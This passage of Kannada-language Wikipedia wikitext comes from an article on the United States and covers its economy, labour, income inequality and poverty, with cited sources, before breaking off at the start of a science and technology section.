ಸ್ಟ್ರೀಟ್ ]] 2009ರಲ್ಲಿ [[ಖಾಸಗೀ ವಲಯ|ಖಾಸಗೀ ಕ್ಷೇತ್ರ]]ವು ಅಂದಾಜು 55.3%, ಫೆಡರಲ್ ಸರ್ಕಾರದ ಚಟುವಟಿಕೆಯು 24.1%, ರಾಜ್ಯ ಮತ್ತು ಸ್ಥಳೀಯ ಸರ್ಕಾರದ ಚಟುವಟಿಕೆಯು (ಫೆಡರಲ್ ವಿನಿಮಯವನ್ನೂ ಸೇರಿ) ಇನ್ನುಳಿದ 20.6%ರಷ್ಟನ್ನು ಸಂಯೋಜಿಸುತ್ತಿತ್ತು.<ref>{{cite web|url=http://www.usgovernmentspending.com/index.php|title=Government Spending Overview|publisher=usgovernmentspending.com|accessdate=2009-05-09}}</ref> [[ಪೂರ್ವಕೈಗಾರಿಕಾ ಸಮಾಜ|ಪೂರ್ವ ಔದ್ಯಮಿಕ]]ವಾದ ಆರ್ಥಿಕತೆಯು ಜಿಡಿಪಿಯಲ್ಲಿನ 67.8%ರಷ್ಟನ್ನು [[ಆರ್ಥಿಕ ಚಟುವಟಿಕೆಯ ತೃತೀಯವಲಯ|ಸೇವಾಕ್ಷೇತ್ರ]]ವು ಪ್ರತಿನಿಧಿಸುತ್ತಿದೆ.<ref name="Econ">{{cite web|url=http://usinfo.state.gov/products/pubs/economy-in-brief/page3.html|accessdate=2008-03-12|title=USA Economy in Brief|publisher=U.S. Dept. of State, International Information Programs}}</ref> ನಿವ್ಹಳ ವ್ಯವಹಾರ ಜಮೆಯು ಸಗಟು ಮತ್ತು ಚಿಲ್ಲರೆ ಮಾರಾಟದಿಂದ ಮತ್ತು ನಿವ್ವಳ ಆದಾಯವು ಹಣಕಾಸು ಮತ್ತು ವಿಮಾಕ್ಷೇತ್ರದಿಂದ ಬಂದುದಾಗಿದೆ.<ref>{{cite web|url=http://www.census.gov/prod/2006pubs/07statab/business.pdf|title=Table 726. Number of Returns, Receipts, and Net Income by Type of Business and Industry: 2003|publisher=U.S. Census Bureau|work=Statistical Abstract of the United States 2007|month=October|year=2006|accessdate=2007-08-26}}</ref>ಇವೆರಡೂ ಮುಖ್ಯ ವ್ಯವಹಾರ ಕ್ಷೇತ್ರವಾಗಿದೆ. ರಾಸಾಯನಿಕ ಪದಾರ್ಥಗಳು ಮತ್ತು ಉತ್ಪಾದನಾ ಕ್ಷೇತ್ರವನ್ನು ಪ್ರತಿನಿಧಿಸಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಔದ್ಯಮಿಕ ಶಕ್ತಿಯಾಗಿ ಉಳಿದುಕೊಂಡಿದೆ.<ref>{{cite web|url=http://www.census.gov/prod/2006pubs/07statab/manufact.pdf|title=Table 971. Gross Domestic Product in Manufacturing in Current and Real (2000) Dollars by Industry: 2000 to 2005 (2004)|publisher=U.S. Census Bureau|work=Statistical Abstract of the United States 2007|month=October|year=2006|accessdate=2007-08-26}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನ ಮೂರನೇ ತೈಲ ಉತ್ಪಾದನಾ ದೇಶವಾಗಿದೆ ಹಾಗೂ ಅತಿ ದೊಡ್ಡ ಆಮದು ದೇಶವೂ ಕೂಡಾ.<ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2173rank.html|title=Rank Order—Oil (Production)|publisher=CIA|work=The World Factbook|date=2007-09-06|accessdate=2007-09-14|archive-date=2012-05-12|archive-url=https://web.archive.org/web/20120512233445/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2173rank.html|url-status=dead}}{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2174rank.html|title=Rank Order—Oil (Consumption)|publisher=CIA|work=The World Factbook|date=2007-09-06|accessdate=2007-09-14|archive-date=2013-05-04|archive-url=https://web.archive.org/web/20130504153025/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2174rank.html|url-status=dead}}{{cite web|url=http://www.eia.doe.gov/pub/oil_gas/petroleum/data_publications/company_level_imports/current/import.html|title=Crude Oil and Total Petroleum Imports Top 15 Countries|publisher=U.S. Energy Information Administration|date=2008-08-26|accessdate=2008-09-10}}</ref> ಲವಣ, ಫಾಸ್ಪೇಟ್ಸ್, ಸಲ್ಫರ್, ನೈಸರ್ಗಿಕ ದ್ರವ ಅನಿಲ, ಜೊತೆಗೆ ಅಣುಶಕ್ತಿ ಮತ್ತು ವಿದ್ಯುತ್ ಶಕ್ತಿಯ ಉತ್ಪಾದನೆಯಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನಲ್ಲಿ ಮೊಲನೆಯದಾಗಿದೆ. ಇದೇ ಸಮಯದಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ವ್ಯವಸಾಯ|ಕೃಷಿ]]ಯು ಜಿಡಿಪಿಯ<ref name="Econ"/> ಕೇವಲ ೧%ರಷ್ಟನ್ನು ಮಾತ್ರ ಗಣಿಸುತ್ತದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಸೋಯಾಬಿನ್<ref>{{cite web|url=http://www.worldwatch.org/node/5442|title=Soybean Demand Continues to Drive Production|publisher=Worldwatch Institute|date=2007-11-06|accessdate=2008-03-13}}</ref> ಮತ್ತು ಧಾನ್ಯ<ref>{{cite web|url=http://www.grains.org/page.ww?section=Barley,+Corn+%26+Sorghum&name=Corn|archiveurl=https://web.archive.org/web/20080112182404/http://www.grains.org/page.ww?section=Barley,+Corn+%26+Sorghum&name=Corn|archivedate=2008-01-12|title=Corn|publisher=U.S. Grains Council|accessdate=2008-03-13|url-status=live}}</ref>ದ ಉತ್ಪಾದನೆಗೆ ವಿಶ್ವದಲ್ಲಿ ಅಗ್ರಗಣ್ಯನಾಗಿದೆ. ಡಾಲರ್ ಪ್ರಮಾಣದ ಮೂಲಕ [[ನ್ಯೂಯಾರ್ಕ್ ಷೇರು ಮಾರುಕಟ್ಟೆ|ನ್ಯೂಯಾರ್ಕ್ ಶೇರು ವಿನಿಮಯ]]ವು ಜಗತ್ತಿನ ಅತೀ ದೊಡ್ಡದಾಗಿದೆ.<ref>{{cite web|url=http://ir.nyse.com/phoenix.zhtml?c=129145&p=irol-newsArticle&ID=1036503&highlight=|title=New Release/Ultra Petroleum Corp.,|publisher=NYSE Euronext|date=2007-07-03|accessdate=2007-08-03}}</ref> [[ಕೊಕಾ-ಕೊಲಾ|ಕೋಕಾಕೋಲಾ]] ಮತ್ತು [[ಮ್ಯಾಕ್‍ಡೊನಾಲ್ಡ್ಸ್|ಮೆಕ್‌ಡೊನಾಲ್ಡ್ಸ್]], ಇವೆರಡೂ ಜಗತ್ತಿನಲ್ಲಿ ಹೆಚ್ಚು ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಬ್ರಾಂಡ್‌ಗಳಾಗಿವೆ.<ref>{{cite web|url=http://www.cheskin.com/view_news.php?id=2|title=Sony, LG, Wal-Mart among Most Extendible Brands|publisher=Cheskin|date=2005-06-06|accessdate=2007-06-19}}</ref> 2೦೦5ರಲ್ಲಿ 155ಮಿಲಿಯನ್‌ ಜನರು ಉತ್ತಮ ಆದಾಯವಿರುವ ಉದ್ಯೋಗಿಗಳಾಗಿದ್ದರು ಮತ್ತು ಇವರಲ್ಲಿ 80%ರಷ್ಟು ಜನರು ಸಂಪೂರ್ಣ ಅವಧಿಯ ಕೆಲಸವನ್ನು ಹೊಂದಿದ್ದರು.<ref>{{cite web|url=http://pubdb3.census.gov/macro/032006/perinc/new05_001.htm|title=Labor Force and Earnings, 2005|publisher=U.S. Census Bureau|accessdate=2007-05-29}}</ref> ಸೇವಾಕ್ಷೇತ್ರದಲ್ಲೇ 79%ರಷ್ಟು ಗರಿಷ್ಠ ಜನರು ಕೆಲಸ ಪಡೆದಿದ್ದಾರೆ.<ref name="WF"/> ಆರೋಗ್ಯ ಸೇವೆ, ಸಮಾಜ ಸೇವೆಯಂಥ ಮುಖ್ಯ ಕ್ಷೇತ್ರವು ಸುಮಾರು 15.5 ಮಿಲಿಯನ್‌ ಜನರಿಗೆ ಉದ್ಯೋಗದ ಕ್ಷೇತ್ರವಾಗಿದೆ.<ref>{{cite web|url=http://www.census.gov/prod/2006pubs/07statab/business.pdf|title=Table 739. Establishments, Employees, and Payroll by Employment-Size Class and Industry: 2000 to 2003|publisher=U.S. Census Bureau|work=Statistical Abstract of the United States 2007|month=October|year=2006|accessdate=2007-08-26}}</ref> ಪಶ್ಚಿಮ ಯುರೋಪ್‌ನ 30%ಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಸುಮಾರು 12%ರಷ್ಟು ಕಾರ್ಮಿಕರು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಕಾರ್ಮಿಕರ ಸಂಘ|ಸಂಘಟಿತ]]ರಾಗಿದ್ದಾರೆ.<ref>{{cite web|author=Fuller, Thomas|url=http://www.iht.com/articles/2005/06/14/news/europe.php|title=In the East, Many EU Work Rules Don't Apply|date=2005-06-15|work=International Herald Tribune|accessdate=2007-06-28|archiveurl=https://web.archive.org/web/20050616015106/http://www.iht.com/articles/2005/06/14/news/europe.php|archivedate=2005-06-16|url-status=live}}</ref> ಕೆಲಸಗಾರರನ್ನು ಕೆಲಸಕ್ಕೆ ನೇಮಿಸಿಕೊಳ್ಳುವ ಮತ್ತು ಕೆಲಸದಿಂದ ತೆಗೆಯುವುದರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಮೊದಲ ದರ್ಜೆಯನ್ನು ವಿಶ್ವ ಬ್ಯಾಂಕು ನೀಡಿದೆ.<ref name="EDBI">{{cite web|url=http://www.doingbusiness.org/ExploreEconomies/?economyid=197|accessdate=2007-06-28|title=Doing Business in the United States (2006)|publisher=World Bank}}</ref> 1997 ಮತ್ತು 2003ರ ಮಧ್ಯೆ ಸರಾಸರಿ ವರ್ಷದ ಕೆಲಸವು 199 ಗಂಟೆಗಳಿಂದ ಏರಿಕೆಯನ್ನು ಕಂಡಿದೆ.<ref>{{cite web|url=http://www.usnews.com/usnews/opinion/articles/031110/10dobbs.htm|author=Dobbs, Lou|title=The Perils of Productivity|work=U.S. News & World Report|date=2003-11-02|accessdate=2007-06-30}}</ref> ಇದರ ಪರಿಣಾಮದ ಭಾಗವಾಗಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನಲ್ಲೇ ಅತೀಹೆಚ್ಚಿನ ಕಾರ್ಮಿಕ ಉತ್ಪಾದಕತೆಯನ್ನು ಆಯೋಜಿಸುತ್ತಿದೆ. ಆದರೂ 1950ರಿಂದ 1990ರವರೆಗಿನ ಪ್ರತೀ ಘಂಟೆಯ ಉತ್ಪಾದಕತೆಗಿಂತ ಇದು ಹೆಚ್ಚಿನದಲ್ಲ. ನಾರ್ವೆ, ಫ್ರಾನ್ಸ್, ಬೆಲ್ಜಿಯಂ ಮತ್ತು [[ಲಕ್ಸಮ್‍ಬರ್ಗ್|ಲಕ್ಸಂಬರ್ಗ್‌]]ನ ಕಾರ್ಮಿಕರು ಇನ್ನೂ ಹೆಚ್ಚಿನ ಉತ್ಪಾದಕತೆಯನ್ನು ಹೊಂದಿದ್ದಾರೆ.<ref>{{cite web|url=http://kilm.ilo.org/2005/press/download/ExSumEN.pdf|title=Highlights of Current Labour Market trends|publisher=International Labour Organization|work=Key Indicators of the Labour Market Programme|date=2005-12-09|accessdate=2007-12-20}}</ref> ಯುರೋಪ್‌ಗೆ ಹೋಲಿಸಿಸಿದರೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆಸ್ತಿ ಮತ್ತು ಕಾರ್ಪೊರೇಟ್ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ತೆರಿಗೆ ಪದ್ಧತಿ|ಆದಾಯ ತೆರಿಗೆ ದರ]]ವು ಸಾಮಾನ್ಯವಾಗಿ ಹೆಚ್ಚಿದೆ. ಆದರೆ ಕೂಲಿ ಮತ್ತು ಬಳಕೆಯ ತೆರಿಗೆ ದರವು ಕಡಿಮೆಯಾಗಿದೆ.<ref>{{cite news|author=Gumbel, Peter|url=http://www.time.com/time/magazine/article/0,9171,662737-2,00.html|title=Escape from Tax Hell|date=2004-07-11|work=Time|accessdate=2007-06-28|archive-date=2010-01-07|archive-url=https://web.archive.org/web/20100107005616/http://www.time.com/time/magazine/article/0,9171,662737-2,00.html|url-status=dead}}</ref> === ಆದಾಯ ಮತ್ತು ಮಾನವ ಅಭಿವೃದ್ಧಿ. === {{Main|Income in the United States}} {{seealso|Income inequality in the United States|Poverty in the United States|Affluence in the United States}} [[ಚಿತ್ರ:Chart showing inflation-adjusted percentage increase in mean after-tax household income in the United States 1979–2005.jpg|thumb|300px| 1979 ಮತ್ತು 2005ರ ಮಧ್ಯೆ ಗೃಹ ತೆರಿಗೆಯನ್ನು ಗರಿಷ್ಠ 1% ಮತ್ತು ನಾಲ್ಕು ಕ್ವಿಂಟೈಲ್‌ಗಳಷ್ಟು ಹೆಚ್ಚಿಸಿದ ನಂತರ ಹಣದುಬ್ಬರವು ಹೊಂದಾಣಿಕೆಯಾಯಿತು. (ಕೆಳಹಂತದ ಮೂಲಕ ಗಳಿಕೆಯ ಗರಿಷ್ಠ 1%ರಷ್ಟು; ಗರಿಷ್ಠ ಹಂತದ ಮೂಲಕ ಕೆಳ ಕ್ವಿಂಟೈಲ್ ತೋರಿಸುತ್ತದೆ.)]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿ ಬ್ಯೂರೊ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿ ವಿಭಾಗ]]ದ ಆಧಾರದಂತೆ [[ಕುಟುಂಬ ಆದಾಯ|ಮಧ್ಯಮ ವರ್ಗದ ಪೂರ್ವತೆರಿಗೆ ಆದಾಯ]]ವು 2007ರಲ್ಲಿ $50,233 ಆಗಿದೆ. ಮದ್ಯಮವರ್ಗದ ಆದಾಯವು [[ಮೆರಿಲ್ಯಾಂಡ್|ಮೇರಿಲ್ಯಾಂಡ್‌ನ]]ಲ್ಲಿ $68,080ಯಿಂದ [[ಮಿಸ್ಸಿಸಿಪ್ಪಿ]]ಯಲ್ಲಿ $36,338ರ ವರೆಗೆ ವಿಸ್ತರಿಸಿದೆ.<ref name="CBPR08"/> [[ಖರೀದಿ ಸಾಮಾರ್ಥ್ಯದ ಹೋಲಿಕೆ|ಕ್ರಯದ ಶಕ್ತಿಯ ಸಮಾನತೆಯ]] ವಿನಿಮಯ ದರದ ಆಧಾರದ ಮೇಲೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕುಟುಂಬದ ವರಮಾನ#ಅಂತರ್ರಾಷ್ಟ್ರೀಯ ಹೋಲಿಕೆ|ಅಭಿವೃದ್ಧಿಗೊಂಡ ದೇಶ]]ದಲ್ಲಿನ ಶ್ರೀಮಂತ ಸಮುದಾಯಕ್ಕೆ ಮಧ್ಯಮ ವರ್ಗವು ಸಮವಾಗಿದೆ. ಅವನತಿಯ ನಂತರ ಇಪ್ಪತ್ತನೇ ಶತಮಾನದ ಮಧ್ಯಾವಧಿಯಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬಡತನ|ಬಡತನದ ದರ]]ವು 1970 ರಲ್ಲಿರುವುದಕ್ಕಿಂತ ಅಧಿಕವಾಯಿತು. ಜೊತಗೆ 11-15% ಅಮೆರಿಕನ್ನರು ಪ್ರತೀವರ್ಷ [[ಬಡತನದ ಪ್ರಾರಂಭ|ಬಡತನ ರೇಖೆ]]ಗಿಂತ ಕೆಳಗಿರುತ್ತಾರೆ. ಹಾಗೂ ತಮ್ಮ 25 ಮತ್ತು 75ರ ವಯಸ್ಸಿನಲ್ಲಿ 58.5%ರಷ್ಟು ಜನರು ಕನಿಷ್ಠ ಒಂದು ವರ್ಷ ಬಡನವನ್ನು ಅನುಭವಿಸಿರುತ್ತಾರೆ.<ref name="USCB IP&HIC 2007">{{cite web|author=DeNavas-Walt, Carmen, Bernadette D. Proctor, and Jessica Smith|url=http://www.census.gov/prod/2008pubs/p60-235.pdf|format=PDF|title=Income, Poverty, and Health Insurance Coverage in the United States: 2007|publisher=U.S. Census Bureau|month=August|year=2008|accessdate=2008-11-13}}</ref><ref>{{Cite book|last=Hacker|first=Jacob S.|year=2006|title=The Great Risk Shift: The New Economic Insecurity and the Decline of the American Dream|location=New York|publisher=Oxford University Press|isbn=0195335341}}</ref> 2007ರಲ್ಲಿ 37.3 ಮಿಲಿಯನ್‌ ಅಮೆರಿಕನ್ನರು ಬಡತನದಲ್ಲಿ ಬದುಕಿದ್ದಾರೆ.<ref name="CBPR08"/> [[ಆರ್ಥಿಕ ಅಸಮಾನತೆ|ಬಡತನ ಸಂಬಂಧವಾದ]] ಮತ್ತು [[ಬಡತನದ ಪ್ರಾರಂಭ|ನಿಶ್ಚಿತ ಬಡತನ]]ವನ್ನು ಕಡಿಮೆಮಾಡುವುದಕ್ಕೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕಲ್ಯಾಣ ರಾಜ್ಯಗಳು ಕಠೋರ ನಿಯಮಗಳನ್ನು ತಾಳಿವೆ.<ref name="Sme">ಸ್ಮೀಡಿಂಗ್, ಟಿ.ಎಮ್ ( 2005. "ಪಬ್ಲಿಕ್ ಪಾಲಿಸಿ: ಎಕಾನಮಿಕ್ ಇನ್‌ಈಕ್ವಲಿಟಿ ಅಂಡ್ ಪಾವರ್ಟಿ: ದಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಇನ್ ಕಂಪಾರಟಿವ್ ಪರ್ಸ್ಪೆಕ್ಟಿವ್"''ಸೋಶಿಯಲ್ ಸೈನ್ಸ್ ಕ್ವಾರ್ಟರ್ಲೀ'' 86, 955–983.</ref><ref>ಕೆನ್ವರ್ಥೀ, ಎಲ್. (1999). "Do Social-Welfare Policies Reduce Poverty? "ಡು ಸೋಶಿಯಲ್-ವೆಲ್ಫೇರ್ ಪಾಲಿಸೀಸ್ ರೆಡೂಸ್ ಪಾವರ್ಟಿ? ಎ ಕ್ರಾಸ್-ನ್ಯಾಶನಲ್ ಅಸ್ಸೆಸ್‌ಮೆಂಟ್" ''ಸೋಶಿಯಲ್ ಫೋರ್ಸಸ್'' 77(3), 1119–1139. ಬ್ರಾಡ್ಲೀ, ಡಿ., ಈ.ಹಬರ್, ಎಸ್.ಮೋಲರ್, ಎಫ್.ನೀಲ್ಸನ್, ಎಂಡ್ ಜೆ.ಡಿ.ಸ್ಟೀಫನ್ಸ್ (2003). "ಡಿಟರ್ಮಿನಂಟ್ಸ್ ಆಫ್ ರಿಲೇಟಿವ್ ಪಾವರ್ಟಿ ಇನ್ ಅಡ್ವಾನ್ಸಡ್ ಕಾಪಿಟಲಿಸ್ಟ್ ಡೆಮಾಕ್ರಸೀಸ್" ''ಅಮೆರಿಕನ್ ಸೋಶಿಯಲಾಜಿಕಲ್ ರಿವ್ಯೂ'' 68(1), 22–51.</ref> ಇದೇವೇಳೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕಲ್ಯಾಣ ರಾಜ್ಯವು ಹಿರಿಯರಲ್ಲಿ ಬಡತನವನ್ನು ಕಡಿಮೆಮಾಡಲು ಸಶಕ್ತ ಪ್ರಯತ್ನ ಮಾಡಿದೆ.<ref>ಓರ್, ಡಿ. (ನವೆಂಬರ್-ಡಿಸೆಂಬರ್, 2004). ಸೋಶಿಯಲ್ ಸೆಕ್ಯುರಿಟಿ ಈಸ್‌ನಾಟ್ ಬ್ರೋಕನ್: ಸೋ ವೈ ದಿ ರಶ್ ಟು ’ಫಿಕ್ಸ್’ ಇಟ್ ? ಇನ್ ಸಿ.ಸ್ಟರ್ ಅಂಡ್ ಆರ್.ವಾಸುದೇವನ್, ಎಡಿಶನ್.2007''ಕರೆಂಟ್ ಎಕನಮಿಕ್ ಇಶ್ಯೂಸ್'' . ಬೋಸ್ಟನ್: ಎಕಾನಮಿಕ್ ಅಫೇರ್ಸ್ ಬ್ಯೂರೋ.</ref> ಯುವಜನತೆಯು ಕಡಿಮೆ ಪ್ರಮಾಣದ ಸಹಾಯವನ್ನು ಪಡೆದುಕೊಂಡಿದೆ..<ref>{{cite web|url=http://www.prospect.org/cs/articles?article=a_new_deal_of_their_own|author=Starr, Paul|date=2008-02-25|title=A New Deal of Their Own|work=American Prospect|accessdate=2008-07-24}}</ref> 2007ರ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳ ಮಕ್ಕಳ ನಿಧಿ|ಯುನಿಸೆಫ್‌]]ನ ಮಕ್ಕಳ ಉತ್ತಮ ಉನ್ನತಿಯ ಅವಲೋಕನವು, ಇಪ್ಪತ್ತೊಂದು ಔದ್ಯಮಿಕ ದೇಶಗಳಲ್ಲಿ ನಡೆಸಿದ ಅಧ್ಯಯನದಂತೆ, ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಕೊನೆಯದಕ್ಕಿಂತ ಮೊದಲಿನ ದರ್ಜೆಯಲ್ಲಿದೆ.<ref>{{cite news|url=http://news.bbc.co.uk/nol/shared/bsp/hi/pdfs/13_02_07_nn_unicef.pdf|title=Child Poverty in Perspective: An Overview of Child Well-Being in Rich Countries|author=UNICEF|work=BBC|year=2007|accessdate=2007-09-10}}</ref> ಆದರೂ ಉತ್ಪಾದಕತೆಯಲ್ಲಿನ ಉತ್ತಮ ಹೆಚ್ಚಳ, ಕಡಿಮೆ ನಿರುದ್ಯೋಗ ಮತು ಕನಿಷ್ಠ ಆರ್ಥಿಕ ಹಿಂಜರಿಕೆಯು 1980ರ ನಂತರ ಮೊದಲಿಗಿಂತ ನಿಧಾನವಾಯಿತು ಮತ್ತು ಇದು ಆರ್ಥಿಕ ಅಸುರಕ್ಷತೆಯನ್ನು ಹುಟ್ಟುಹಾಕಿತು. 1947 ಮತ್ತು 1979ರ ಮಧ್ಯೆ [[ವಾಸ್ತವ ಆದಾಯ|ಮಧ್ಯಮ ವರ್ಗದ ನಿಜವಾದ ಆದಾಯ]]ವು ಎಲ್ಲ ವರ್ಗಗಳಲ್ಲಿ 80%ಕ್ಕಿಂತ ಹೆಚ್ಚಾಯಿತು. ಜೊತೆಗೆ ಸಿರಿವಂತರಿಗಿಂತ ಬಡ ಅಮೆರಿಕನ್ನರು ವೇಗವಾಗಿ ಬೆಳೆದರು.<ref name="Bar">ಬರ್ಟ್ಲೆಸ್, ಎಲ್.ಎಮ್. (2008 ''ಯುನಿಕಲ್ ಡೆಮಾಕ್ರಸಿ: ದಿ ಪೊಲಿಟಿಕಲ್ ಎಕಾನಮಿ ಆಫ್ ದಿ ನ್ಯೂ ಗಿಲ್ಡೆಡ್ ಏಜ್'' . ಪ್ರಿನ್ಸ್‌ಟನ್, ಎನ್‌ಜೆ: ಪ್ರಿನ್ಸ್‌ಟನ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್.</ref><ref>{{cite web|url=http://www.demos.org/inequality/numbers.cfm#1|author=Hartman, C.|year=2008|title=By the Numbers: Income|accessdate=2008-07-24}}</ref>1980ರ ಹೊತ್ತಿಗೆ [[[131] ಕುಟುಂಬ ಆದಾಯ|ಮದ್ಯಮ ವರ್ಗದ ಕೌಟುಂಬಿಕ ಆದಾಯ]]ವು ಹೆಚ್ಚಿತು.<ref>{{cite web|author=Henderson, David R.|url=http://www.hoover.org/publications/digest/3522596.html|title=The Rich—and Poor—Are Getting Richer|work=Hoover Digest|year=1998|accessdate=2007-06-19}}</ref> ಸಾಮಾನ್ಯವಾಗಿ ಲಿಂಗ ಭೇದವನ್ನು ಮುಚ್ಚಲು ಮತ್ತು ಹೆಚ್ಚಿದ ಕೆಲಸದ ಸಮಯದಿಂದಾಗಿ ಇಬ್ಬರು ಗಳಿಸುವ ಕುಟುಂಬದಲ್ಲಿ ಈ ಹೆಚ್ಚಳವಾಯಿತು. ಆದರೆ ಬೆಳವಣಿಗೆಯು ನಿಧಾನವಾಗಿತ್ತು ಮತ್ತು ವೇಗವಾಗಿ ತಾರಕಕ್ಕೆ ತಿರುಗಿತು.(ಗ್ರಾಫನ್ನು ನೋಡಿ)<ref name="Sme"/><ref name="Bar"/><ref>{{cite web|url=http://www.frbsf.org/news/speeches/2006/1106.html|author=Yellen, J.|year=2006|title=Speech to the Center for the Study of Democracy 2006–2007 Economics of Governance Lecture University of California, Irvine|publisher=Federal Reserve Board|location=San Francisco|accessdate=2008-07-24}}{{cite web|author=Shapiro, Isaac|url=http://www.cbpp.org/10-17-05inc.htm|title=New IRS Data Show Income Inequality Is Again on the Rise|date=2005-10-17|publisher=Center on Budget and Policy Priorities|accessdate=2007-05-16}} ಗಿಲ್ಬರ್ಟ್, ಡಿ. (1998). ''ದಿ ಅಮೆರಿಕನ್ ಕ್ಲಾಸ್ ಸ್ಟ್ರಕ್ಚರ್ '' . ಬೆಲ್ಮಾಂಟ್, ಸಿಏ: ವಾಡ್ಸ್‌ವರ್ಥ್. ISBN 0-534-50520-1.</ref> 2005ರಲ್ಲಿ ಆದಾಯದ ಪಾಲಿನ ಗರಿಷ್ಠ 1% ರಿಂದ 21.8%ರ ಒಟ್ಟು ವರದಿಯಾದ ಆದಾಯವು 1980ರಲ್ಲಿರುವುದಕ್ಕಿಂತ ದುಪ್ಪಟ್ಟಾಗಿದೆ. <ref>{{cite news|url=http://www.nytimes.com/2007/03/29/business/29tax.html?ex=1332820800&en=fb472e72466c34c8&ei=5088&partner=rssnyt&emc=rss|title=Income Gap Is Widening, Data Shows|author=Johnston, David Cay|work=New York Times|date=2007-03-29|accessdate=2007-05-16}}</ref> ಇದರಿಂದಾಗಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಅಭಿವೃದ್ಧಿಯುತ ದೇಶವಾಗಿದೆ.<ref name="Sme"/><ref>{{cite web|url=http://elsa.berkeley.edu/~saez/TabFig2005prel.xls|author=Saez, E.|title=Table A1: Top Fractiles Income Shares (Excluding Capital Gains) in the U.S., 1913–2005|publisher=UC Berkeley|month=October|year=2007|accessdate=2008-07-24}}{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/fields/2172.html|title=Field Listing—Distribution of Family Income—Gini Index|publisher=CIA|work=The World Factbook|date=2007-06-14|accessdate=2007-06-17|archive-date=2014-06-25|archive-url=https://web.archive.org/web/20140625144901/https://www.cia.gov/library/publications/the-world-factbook/fields/2172.html|url-status=dead}}</ref> ಗರಿಷ್ಠ 1%ರಷ್ಟು ಎಲ್ಲ ಫೆಡರಲ್ ತೆರಿಗೆಯ 27.6%ರಷ್ಟನ್ನೂ ಮತ್ತು ಗರಿಷ್ಟ 10%ರಷ್ಟು 54.7%ರಷ್ಟು ಎಲ್ಲ ಫೆಡರಲ್ ತೆರಿಗೆಯನ್ನು ಪಾವತಿಸುತ್ತಿದೆ.<ref>{{cite web|url=http://www.cbo.gov/ftpdocs/88xx/doc8885/EffectiveTaxRates.shtml|title=Shares of Federal Tax Liabilities, 2004 and 2005|publisher=Congressional Budget Office|accessdate=2008-11-02}}</ref> ಆರೋಗ್ಯವನ್ನು ಆದಾಯವೆಂದು ಗಂಭೀರವಾಗಿ ಕೇಂದ್ರೀಕರಿಸಲಾಗಿದೆ. ಶೇಕಡಾ ಹತ್ತರಷ್ಟು ಯುವಕರು ಶೇಕಡಾ 69.8%ರಷ್ಟು ದೇಶದ ಕೌಟುಂಬಿಕ ಆರೋಗ್ಯವನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಾರೆ. ಇದು ಜಗತ್ತಿನ ಎರಡನೇ ದೇಶವಾಗಿ ಪಾಲನ್ನು ಹಂಚಿಕೊಂಡಿದೆ.<ref>{{cite web|author=Domhoff, G. William|url=http://sociology.ucsc.edu/whorulesamerica/power/wealth.html|title=Table 4: Percentage of Wealth Held by the Top 10% of the Adult Population in Various Western Countries|publisher=University of California at Santa Cruz, Sociology Dept.|work=Power in America|month=December|year=2006|accessdate=2006-08-21}}</ref> 33.4% ಐಶ್ವರ್ಯವನ್ನು 1% ತೋರಿಸುತ್ತದೆ.<ref>{{cite web|author=Kennickell, Arthur B.|url=http://www.federalreserve.gov/pubs/oss/oss2/papers/concentration.2004.5.pdf|title=Table11a: Amounts (Billions of 2004 Dollars) and Shares of Net Worth and Components Distributed by Net Worth Groups, 2004|publisher=Federal Reserve Board|work=Currents and Undercurrents: Changes in the Distribution of Wealth, 1989–2004|date=2006-08-02|accessdate=2007-06-24}}</ref> === ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನ === {{Main|Science and technology in the United States}} {{seealso|Technological and industrial history of the United States}} [[ಚಿತ್ರ:Buzz salutes the U.S. Flag.jpg|right|thumb| 1969ರ ಮೊದಲ ಚಂದ್ರನ ಮೇಲೆ ಮಾನವ ಅವಧಿಯಲ್ಲಿನ ಗಗನಯಾತ್ರಿ ಬುಝ್ ಅಲ್ಡ್ರಿನ್]] 19ನೇ ಶತಮಾನದಿಂದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆ ಮತ್ತು ತಾಂತ್ರಿಕ ಅನ್ವೇಷಣೆಗಳ ಮುಖಂಡನಾಗಿದೆ. 1876ರಲ್ಲಿ [[ಅಲೆಗ್ಸಾಂಡರ್‌ ಗ್ರಹಾಂ ಬೆಲ್‌|ಅಲೆಕ್ಸಾಂಡರ್ ಗ್ರಹಾಂ 